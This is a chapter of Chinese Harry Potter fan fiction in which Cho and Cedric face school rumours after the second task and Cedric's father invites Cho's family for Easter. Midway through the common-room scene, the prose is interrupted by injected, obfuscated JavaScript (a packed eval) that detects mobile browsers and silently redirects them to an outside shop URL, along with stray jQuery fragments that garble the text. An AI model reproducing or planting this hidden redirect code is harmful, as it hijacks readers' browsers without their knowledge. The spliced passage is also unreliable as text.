第二项比赛之后,霍格沃茨热闹了很久。

    走廊里有人小声复述黑湖边发生的事,移动楼梯转到一半,也能听见低年级学生压着声音争论。画像们比学生还积极,胖女巫一边织围巾,一边把听来的版本讲给隔壁画框里的骑士。

    周一早晨,秋刚走进门厅,就听见两个低年级学生站在沙漏旁边小声争论。

    “我听说迪戈里在岸边亲了她。”

    “是额头。”

    “不是,我姐姐说看见他低头亲了很久。”

    “那是在人工呼吸吧?”

    “你怎么知道不是救人?”

    秋脚步停了一下。

    旁边的玛丽埃塔立刻把书往她怀里一塞。

    “走。”

    “我还没——”

    “你已经听见够多了。”

    她们刚走上楼梯,身后又飘来一句:

    “还有人说,他们在黑湖里就开始亲了。”

    秋差点踩空一级台阶。

    玛丽埃塔一把扶住她,脸色平静得像什么都没听见。

    “我收回刚才的话。”她说,“他们还能更离谱。”

    秋耳根慢慢热起来。

    她低头把《标准咒语,五级》抱紧一点,没有接话。

    画像里的胖女巫正在织一条很长的围巾,闻言抬头看了她们一眼。

    “年轻人。”她感叹道,“我那个年代也一样。”

    玛丽埃塔抬头。

    “夫人,您可以继续织围巾。”

    胖女巫耸了耸肩,继续把毛线绕过手腕。

    可传闻并没有因为玛丽埃塔的阻止停下来。

    到了午饭时,故事已经从“额头吻”变成了“黑湖边的公开求婚”。

    赫奇帕奇长桌那边声音尤其多。

    欧文坐在托马斯旁边,脸色很难看。

    “我当时就在看台上。”他把南瓜汁杯往桌上一放,“没有亲很久。”

    托马斯慢慢抬头。

    “所以亲了。”

    欧文转头看他。

    “你能不能抓重点?”

    “重点不是这个?”

    莉迪亚低头忍笑,叉子在盘子边缘碰了一下。

    不远处,诺亚坐在低年级那一段,脸上还带着一种亲眼见过大场面的认真。

    “我只看见塞德里克学长低头了。”

    欧文闭了闭眼。

    “你不要回忆得这么具体。”

    诺亚继续说:“然后他亲了秋学姐。”

    “圣诞舞会那天就够明显了。”莉迪亚说,“他们两个站在一起,像马上要挨桌感谢大家来参加婚礼。”

    欧文把一块土豆戳得很深。

    “你们今天都很烦。”

    格兰芬多那边也没安静多少。

    有人说哈利把两个人都救了上来。

    还有低年级学生认真问:“那他是不是差点把整个黑湖都救空?”

    旁边立刻有人反驳:

    “黑湖又不是储物柜。”

    这话传到格兰芬多长桌时,罗恩差点把南瓜汁喷出来。

    “我就知道他们会越传越离谱。”他说。

    哈利低头切着盘子里的香肠。

    罗恩刚说完,又忍不住把第二项比赛从头讲了一遍。声音很大,手里的叉子几乎挥到南瓜汁里。

    “然后我醒来的时候,就在岸上了。哈利把我拖上来的,还有那个布斯巴顿的小女孩——”

    “你当时醒了吗?”赫敏问。

    罗恩停了一下。

    “差不多。”

    赫敏把书翻了一页。

    “你醒的时候已经在岸上咳水了。”

    “那也算。”罗恩说,“反正我差点成了黑湖里的装饰品。”

    旁边有人笑起来。

    哈利也弯了一下嘴角,却没有真的笑出来。

    他听见有人提到迪戈里。

    又听见“秋·张”和“额头”几个词从远处飘过来。

    餐刀在盘子边缘轻轻碰了一下。

    赫敏抬头看了他一眼。

    哈利把香肠切成很小的一段。

    “没事。”

    罗恩还在说水底的人鱼长得比他想象中凶,赫敏没有再问。

    秋坐在拉文克劳长桌旁,努力把注意力放回草药课笔记。

    玛丽埃塔把一张羊皮纸推到她面前,上面写着一行很小的字。

    如果再有人说亲了好几分钟,我就用漂浮咒把他的盘子送去斯莱特林长桌。

    秋看了一眼,没忍住笑了一下。

    玛丽埃塔面无表情地把羊皮纸收回去。

    “别笑。”她低声说,“他们会以为你承认了。”

    秋低头喝了一口南瓜汁。

    耳根还是热的。

    可她没有说“不是”。

    那天黑湖边,塞德里克确实低头亲了她。

    只是额头。

    很轻。

    可她记得,那一瞬间,她只是攥紧了毯子。

    ——

    几天以后,传闻终于从长桌边传到了走廊。

    秋从温室方向回来时,外袍边缘还沾着一点潮气。她刚走过通往庭院的拱门,就看见塞德里克站在盔甲旁边,手里拿着她落在图书馆的一卷羊皮纸。

    盔甲后面有两个赫奇帕奇男生正在假装研究墙上的挂毯。

    装得很差。

    “迪戈里,”其中一个终于忍不住开口,“这次是来送羊皮纸,还是来确认宝物有没有被安全找回?”

    另一个立刻低头咳了一声,肩膀抖得厉害。

    秋脚步顿了一下。

    塞德里克耳尖红了。

    可他没有退开。

    他只是把那卷羊皮纸递给秋,又很自然地伸手,替她把快要滑下去的书扶了一下。秋刚接稳,他的手已经落到她肩后,轻轻把她往盔甲旁边少一点人流的位置带了半步。

    “她刚从温室出来。”塞德里克说。

    那个男生眨了眨眼。

    “所以?”

    塞德里克看了他一眼,语气仍然很温和。

    “所以你们最好离远一点。”塞德里克说。

    那个男生愣了一下。

    “为什么?”

    塞德里克看了一眼秋怀里的书,语气很认真。

    “她现在手上可能全是会咬人的草药汁。”

    他停了一下,又补了一句。

    “我已经替你们试过了。”

    另一个男生终于忍不住笑出声。

    “完了,迪戈里现在连碰都不给碰了。”

    秋耳根一下热了。

    塞德里克低头看了她一眼,嘴角没压住。

    “他们现在说话都很夸张。”

    秋低声说:“你可以不理他们。”

    “我知道。”

    他把她手里那本书往上托稳一点。

    “但他们说‘宝物’的时候,我不太想纠正。”

    秋的手指在书脊上顿了一下。

    她抬眼看他,耳根慢慢热起来。

    “你现在说话也很夸张。”

    塞德里克耳尖还是红的,可眼睛里的笑意很亮。

    他说完才像意识到这句话太明显,轻咳了一声。

    “我是说……金蛋里就是这么唱的。”

    秋没有拆穿他。

    只是把那卷羊皮纸收进书里。

    旁边的赫奇帕奇男生拖长声音:“噢——金蛋里唱的。”

    塞德里克终于转头看过去。

    他还是笑着的。

    “你们的魔药论文写完了吗?”

    那两个男生脸色一变,立刻不笑了。

    秋低头笑出了声。

    塞德里克也笑了一下,趁他们散开,低声问她:

    “下节课去哪儿?”

    “如尼文。”

    “那我送你到楼梯口。”

    “你不怕他们又说?”

    塞德里克停了一下,把手从她肩后收回来,改成接过她最重的那本书。

    动作很规矩。

    可他人还站在她身侧。

    “他们已经说了这么久。”

    秋抬眼看他。

    塞德里克耳尖有点红,声音却很稳。

    “现在才解释,好像有点晚了。”

    秋没忍住笑。

    “你很遗憾?”

    “没有。”

    他低头看了她一眼。

    旁边有人又从走廊那头看过来。

    塞德里克没有移开半步,只把书往怀里压稳。

    “而且他们也没有完全说错。”

    秋抬眼。

    “哪里没说错?”

    塞德里克耳尖红着,却还是看着她。

    “我本来就是来接我女朋友的。”

    外面的风从高窗钻进走廊,把她耳边一缕头发吹到脸侧。

    塞德里克伸手替她拨开。

    动作比他说的话还自然。

    秋的手指在书脊上慢慢收紧。

    旁边又有人笑。

    这一次,她没有往后退。

    她只是轻轻碰了一下他的绷带边缘。

    “手还疼吗?”

    塞德里克低头看了一眼。

    “好多了。”

    秋抬眼看他。

    塞德里克停了一下,把手腕往她面前递近一点。

    “不过如果你愿意握一下,应该会好得更快。”

    秋怔住。

    他耳尖有点红,神情却很认真。

    “我猜的。”

    秋看着他,终于笑出来。

    “这也算治疗办法?”

    塞德里克低头笑了一下。

    “对我算。”

    塞德里克看着她笑,眼底也跟着亮了一点。

    楼梯拐角处,哈利停了一下。

    他原本是和罗恩、赫敏一起往黑魔法防御术教室去的,罗恩还在抱怨斯内普布置的魔药论文为什么能比黑湖还可怕。

    哈利听见走廊那头的笑声,抬头看过去。

    塞德里克站在秋旁边。

    离得很近。

    有人起哄时,他耳尖红得厉害,却还是没有退开。秋低头笑的时候,他也跟着低头看她,像已经习惯先看她的反应。

    旁边几个赫奇帕奇男生笑着从他们身边跑过去。

    其中一个还回头喊:

    “迪戈里,记得把人送回拉文克劳!”

    塞德里克居然真的应了一声。

    很自然。

    像这已经是默认的事。

    哈利站在楼梯口,没有动。

    罗恩还在旁边抱怨论文,赫敏低头翻着书,走廊里的人来来回回。

    旁边有人从他肩膀旁挤过去,他才往后退了一步。

    那一瞬间,哈利忽然发现——

    自己好像已经迟了一步。

    “哈利?”赫敏回头。

    哈利收回视线。

    “来了。”

    他低头快走了几步,罗恩还在说:“我真的觉得斯内普讨厌我们每一个人。”

    赫敏说:“那不是你不写论文的理由。”

    他们的声音渐渐远了。

    秋没有看见哈利。

    塞德里克也没有。

    “我送你到楼梯口。”

    “你不用每节课都送我。”

    “我知道。”

    塞德里克看了一眼她怀里的书。

    “但如尼文课的书很重。”

    秋怔了一下,随即笑了。

    “所以呢?”

    塞德里克低头看她,耳尖还有点红,声音却很稳。

    “所以我可以帮你拿。”

    他停了一下,又补得很轻。

    “也可以多陪你一会儿。”

    他说完,转身前又低声补了一句:

    “如果他们还在猜,我可以帮你听听有没有更离谱的版本。”

    秋把书抱紧一点。

    “塞德里克。”

    “嗯?”

    “不许笑。”

    他看着她泛红的耳尖,眼底的笑意更明显。

    “我尽量。”

    ——

    又过了几天,三月的雨停了一阵。

    周四上午的草药课在第三温室。

    温室里比外面暖很多。

    玻璃上挂着细密的水汽,长桌间的泥土气味、草叶味和一点奇怪的辛辣味混在一起。几盆会自己抖叶子的草药摆在前排,叶尖像怕冷似的缩着。

    斯普劳特教授从最里面的架子后面钻出来,袖口沾着泥,怀里抱着一盆银绿色叶子的植物。

    “都往后一点,亲爱的们。”

    她把花盆往桌上一放。

    植物立刻抖了抖。

    离得最近的一个男生往后退了半步。

    斯普劳特教授看了他一眼,笑起来。

    “很好,至少你们还记得上一节课的教训。”

    玛丽埃塔小声问秋:“上一节课有人被咬了吗?”

    秋翻开笔记本。

    “好像是被根须抽到了鼻子。”

    玛丽埃塔立刻把椅子往后挪了一点。

    斯普劳特教授拍了拍手上的泥。

    “今天我们处理银叶止血草。它们常用于魔法生物造成的小面积抓伤、咬伤,也能配合缓和冷水后引起的僵硬。”

    秋的羽毛笔停了一下。

    冷水。

    抓伤。

    她想起塞德里克腕骨附近那几道被格林迪洛抓出来的红痕。

    斯普劳特教授拿起一片叶子,叶背泛着很浅的银光。

    “别直接切根。根须很敏感,而且脾气不好。切叶子的时候不要切得太碎——”

    她话还没说完,旁边那组已经有人把叶子切成了绿色碎末。

    银色汁液溅到袖口上。

    斯普劳特教授转过去,声音依旧爽朗。

    “阿克利先生,它是药草,不是晚餐里的洋葱。”

    温室里响起一阵低笑。

    那个男生红着脸把刀放下。

    “抱歉,教授。”

    “没关系,至少它还没有试图报复你。”斯普劳特教授低头看了一眼那盆草药,补充道,“目前没有。”

    几根细细的根须在泥土里动了动。

    玛丽埃塔低声说:“我不喜欢这个‘目前’。”

    秋弯了一下唇,把叶片小心放平。

    银叶止血草比看起来更韧,叶脉里有一层很细的透明汁液。她按照斯普劳特教授教的方向切开,银色汁液慢慢渗出来,落进小陶碗里。

    “处理这类伤口时,不要急着让伤口看起来消失。”斯普劳特教授在温室里来回走动,“先止血,先保温,确认有没有毒液残留。漂亮的愈合痕迹不一定代表处理得好,病人能不能撑过最难受的那一段,才是第一件事。”

    秋低头,在笔记边缘写下:

    冷水后僵硬。

    抓伤。

    先保温。

    她写得很小。

    玛丽埃塔凑过来看了一眼。

    “你最近连草药课都像在写医疗记录。”

    秋停了一下。

    “可能是黑湖后遗症。”

    玛丽埃塔看了她一会儿。

    没有继续问。

    只是把自己那盆草药往秋这边推了一点。

    “那你帮我看看,我有没有切到它的脾气。”

    秋低头看了一眼那片叶子。

    “还没有。”

    “太好了。”

    下一秒,玛丽埃塔手边那根根须轻轻抽了一下。

    她猛地把手缩回来。

    秋没忍住笑了。

    斯普劳特教授在另一头喊:“不要和它们讲道理,艾克莫小姐。它们听不懂,只会记仇。”

    温室里的笑声又响起来。

    秋低头继续处理叶子。

    银色汁液在陶碗里慢慢积了一点。

    光从玻璃顶上落下来,照得那点汁液很亮。

    她忽然想到圣芒戈梦境里的走廊。

    担架。

    病房。

    那些在门外等消息的人。

    还有黑湖边塞德里克被庞弗雷夫人抓住手腕时,第一反应却还是看她有没有再咳。

    她的羽毛笔在羊皮纸上停了一会儿。

    最后,她又在笔记边缘补了一行。

    疼痛反应:不可只凭伤口大小判断。

    ——

    三月往后走了一点。

    第二项带来的热闹慢慢沉下去,第三项的影子却开始浮起来。

    魁地奇球场附近多了几次魔法部的人影。海格有时会带着厚手套从禁林方向回来,袖口沾着泥,脸上写着“我什么都不会说”,但罗恩认为他脸上每一根胡子都在说“有东西要发生”。

    “肯定有巨型蜘蛛。”罗恩在晚饭时说,“我打赌。”

    赫敏头也没抬。

    “你不要用蜘蛛打赌。”

    “我没说我想见到它们。”

    哈利用叉子拨了一下盘子里的豌豆。

    “他们说第三项会在六月。”

    “那还有一阵子。”罗恩说。

    哈利没有接话。

    六月听起来很远。

    可对勇士来说,每天晚饭后都会有人提起第三项,每次看见巴格曼出现在走廊尽头,就像有人在日历上又划了一道线。

    赫奇帕奇公共休息室里开始出现更多和防御术、障碍咒、定向咒相关的书。

    有人猜会在禁林。

    也有人猜会和某种危险生物有关。

    欧文原本躺在沙发上,脸上盖着一本《危险环境中的实用防御咒》,被托马斯用羽毛笔戳醒。

    “你书拿反了。”

    欧文把书掀开一角。

    “我这是在用另一种角度吸收知识。”

    莉迪亚从旁边经过,顺手把书转正。

    “那你现在可以吸收得更好一点。”

    诺亚坐在地毯边,正在给一张赫奇帕奇徽章重新施亮光咒。光没亮起来,倒是冒出一小撮烟。

    欧文立刻坐起来。

    “别把公共休息室炸了,小鬼。”

    诺亚看了他一眼。

    “我没有。”

    托马斯看着那撮烟。

    “它不同意。”

    塞德里克从楼梯上下来时,刚好听见这句。

    他的手腕绷带已经拆了,只剩几道很淡的红痕。他拿着一本防御术书,看到诺亚手里的徽章冒烟,走过去用魔杖轻轻一点。

    烟散了。

    诺亚抬头。

    “谢谢,塞德里克学长。”

    欧文靠回沙发。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606315|205734||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    “你再这样,他以后会觉得自己所有魔咒事故都有人收拾。”

    塞德里克低头看了一眼徽章。

    “那你可以教他。”

    欧文立刻闭嘴。

    塞德里克坐到壁炉旁,书摊开,却没有立刻看进去。

    他抬头看向公共休息室出口。

    欧文注意到了。

    “你在等谁?”

    塞德里克低头翻页。

    “没有。”

    欧文看他一眼。

    “哦。”

    停了两秒。

    “那你书拿反了。”

    塞德里克低头。

    书没有拿反。

    欧文满意地笑了一下。

    “现在你知道被人胡说是什么感觉了。”

    塞德里克没忍住笑了一下。

    壁炉里的火轻轻响着。

    窗外天已经黑了。

    ——

    有两次,玛丽埃塔半夜醒来,发现秋的床帐里没有动静。

    第二天早餐时,她问了一句。

    秋把南瓜汁往旁边挪了挪,说昨晚睡不着,去公共休息室倒了杯水。

    玛丽埃塔看了她一会儿。

    “你最近是有点睡不好。”

    秋低头切开烤番茄。

    “可能是黑湖之后有点不习惯。”

    玛丽埃塔没有再问。

    她只把自己盘子里的半块吐司推过去。

    “那至少多吃一点。”

    秋看着那半块吐司。

    过了几秒,轻声说:“谢谢。”

    玛丽埃塔低头翻魔法史笔记。

    “不要谢我。下次宾斯教授再讲妖精叛乱,你替我保持清醒就行。”

    秋笑了一下。

    “这个比较难。”

    “我知道。”

    玛丽埃塔叹了口气。

    “所以我才提前说。”

    这件事很快被早餐、课程和O.W.L.s的复习表盖过去。

    没有人知道,夜里城堡安静以后,秋去过地下教室附近一间旧准备室。

    门很窄,锁有点生锈,里面堆着几只空木箱和一张缺了角的桌子。

    她用魔杖把灰尘清掉,又在门边补了一个很轻的隔音咒。

    火不能太旺。

    坩埚也不能发出太明显的声音。

    她把一小包干草蛉虫倒进碗里,用银勺轻轻拨开。

    旁边放着一只深色小瓶。

    旧标签磨得发浅。

    还有一张折过很多次的羊皮纸。

    上面写着日期。

    没有名字。

    秋把袖口挽起来。

    药液在坩埚里慢慢翻了一下,气味并不好闻。她停了一会儿,等那股味道散开一些,才把窗户推开一条缝。

    夜风从地下的小窗里钻进来。

    很冷。

    她低头看着坩埚。

    火光映在她脸上,把眼底映得很暗。

    第三项还没有来。

    可黑湖边那只魔眼停住的一瞬,又一次从记忆里浮上来。

    她不能再等到最后。

    不能再只靠希望。

    也不能再把所有选择都留给迷宫尽头。

    银勺碰到碗沿,发出很轻的一声响。

    秋立刻停住。

    走廊外没有动静。

    过了很久,她才重新低下头,把下一行日期写在羊皮纸上。

    ——

    三月中旬的一个下午,雨下得很细。

    秋从古代如尼文教室出来时,走廊尽头的窗户开了一条缝,潮湿空气把羊皮纸边缘吹得微微卷起来。

    她把书压住,刚走过盔甲旁边,就看见塞德里克站在楼梯口。

    他手里拿着一封信。

    看见她出来,他先把信往身后藏了一下。

    这个动作太明显。

    秋停住。

    “你藏什么?”

    塞德里克耳尖慢慢红起来。

    “没有。”

    秋看着他。

    塞德里克坚持了两秒,最后低头笑了一下,把信拿出来。

    “我父亲的信。”

    秋接过来前,先看了他一眼。

    “我可以看?”

    “本来就是给你的。”

    塞德里克说完,又像觉得这句话太快,补了一句:

    “给你们家的。”

    信封上是阿莫斯·迪戈里的字迹,笔画比塞德里克更重,墨水也压得深一些。

    秋拆开信。

    前几行先写了第二项比赛。

    阿莫斯说,他和塞德里克的母亲到现在还会反复提起黑湖那天的事。他写塞德里克让他们非常骄傲,又写天气那么冷,希望秋没有再感冒。

    字里行间很热情。

    热情得秋几乎能听见阿莫斯的声音。

    她继续往下看。

    【世界杯的时候,我很高兴见过张先生和张夫人。

    不过我和塞德里克的母亲都觉得,复活节假期或许该更正式地邀请你们来家里坐坐。

    塞德说不用这样正式。

    我认为这当然应该正式。

    如果张先生和张夫人愿意,我们非常欢迎你们一家来吃晚饭。如果他们假期里另有安排,也欢迎你来家里住几天。当然,一切都以你和你父母的意思为准。】

    秋看到“塞德说不用这样正式”时,没忍住弯了一下唇。

    塞德里克一直看着她的表情。

    “他写得是不是有点……”

    “很像你父亲。”

    塞德里克低头,耳尖慢慢红起来。

    “嗯。”

    秋把那几行又看了一遍。

    那封信写得很热情,却没有越过分寸。

    不是随口邀请。

    也不是学生之间偷偷约好的假期见面。

    是迪戈里家认真把她和她的父母放进了这件事里。

    走廊外雨声很轻。

    楼梯在远处慢慢移动,发出熟悉的木石摩擦声。

    塞德里克没有催她。

    直到秋重新把信折好,他才低声问:

    “你愿意吗?”

    秋抬眼。

    他看起来比刚才还要紧张一点。

    明明第二项比赛前站在黑湖边时,他都没有这样明显地不知道把手放哪里。

    秋看着他,忽然想起世界杯那天阿莫斯给父亲解释魁地奇,又想起黑湖边那声“My boy”。

    父亲、母亲、壁炉、晚饭、旧扫帚、有人在门口喊他的名字。

    这些东西原本都该属于他。

    她喉咙轻轻发紧。

    可这一次,她没有让那些东西把自己拖进很远的地方。

    她把信还给塞德里克,指尖碰到他的手背。

    “我写信问问我父母。”

    塞德里克明显松了一口气。

    但下一秒,他又像想起什么,耳尖重新红起来。

    “我父亲可能会有点热情。”

    “我知道。”

    “他也可能会提到黑湖。”

    “我也知道。”

    “还可能提到我小时候第一次骑扫帚撞到篱笆。”

    秋终于笑了。

    “这个我不知道。”

    塞德里克闭了闭眼。

    “那你现在知道了。”

    秋看着他发红的耳尖,笑意更深。

    走廊那头有人经过,又吹了声口哨。

    “迪戈里——复活节要见家长了?”

    塞德里克转头看了一眼。

    那人立刻笑着跑了。

    秋低头把信重新折好。

    塞德里克看着她。

    雨声从窗外落进来。

    过了一会儿,他伸手,很轻地握住她还拿着信的手。

    “秋。”

    “嗯?”

    “如果你父母愿意来,”他说,“我父亲会很高兴。”

    秋看着他。

    “只有你父亲会高兴?”

    塞德里克怔了一下。

    秋眼里带着一点很浅的笑意。

    走廊外的雨声轻轻敲着窗。

    他终于反应过来,耳尖红得更明显。

    “不。”

    他低头,把那封信往她手里放稳了一点。

    “我会比他更高兴。”

    秋没有接话,只看着他。

    塞德里克声音低下来。

    “我很喜欢你。”

    他抬眼看她,语气认真得不像玩笑。

    “也想把你带回家。”

    这句话被走廊里的雨声压得很低。

    秋却听得很清楚。

    她很久都没有说话。

    最后才慢慢回握住他的手。

    “那我会认真问他们。”

    塞德里克看着她,嘴角一点点扬起来。

    这一次,他没有再说什么。

    只是牵着她往楼梯口走。

    窗外的雨还在下。

    城堡里到处都是即将到来的考试、第三项比赛、传闻、作业和没人说出口的紧张。

    l

    楼梯慢慢往上移。

    秋走在他身边,袖口还带着地下准备室的冷气。

    塞德里克握着她的手。

    她指尖慢慢收紧,没有松开。